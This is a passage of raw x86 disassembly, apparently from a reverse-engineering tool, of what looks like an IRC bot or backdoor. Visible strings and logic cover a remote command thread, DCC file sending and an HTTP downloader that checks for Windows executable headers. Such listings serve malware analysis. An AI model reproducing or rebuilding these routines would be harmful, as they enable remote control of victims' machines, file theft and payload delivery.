CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 pop ecx mov [ebp+var_5EC], eax call sub_416B64 cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DF68 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 add esp, 0Ch push [ebp+var_8EC] call sub_416B76 pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax loc_4022A0: ; DATA XREF: sub_43B580+2Ew call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 push eax call dword_41724C push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx loc_4022F7: ; DATA XREF: sub_43B511w ; sub_43B511+29r mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DF10 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DF10 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 test eax, eax jnz short loc_402B8E call dword_417064 cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] 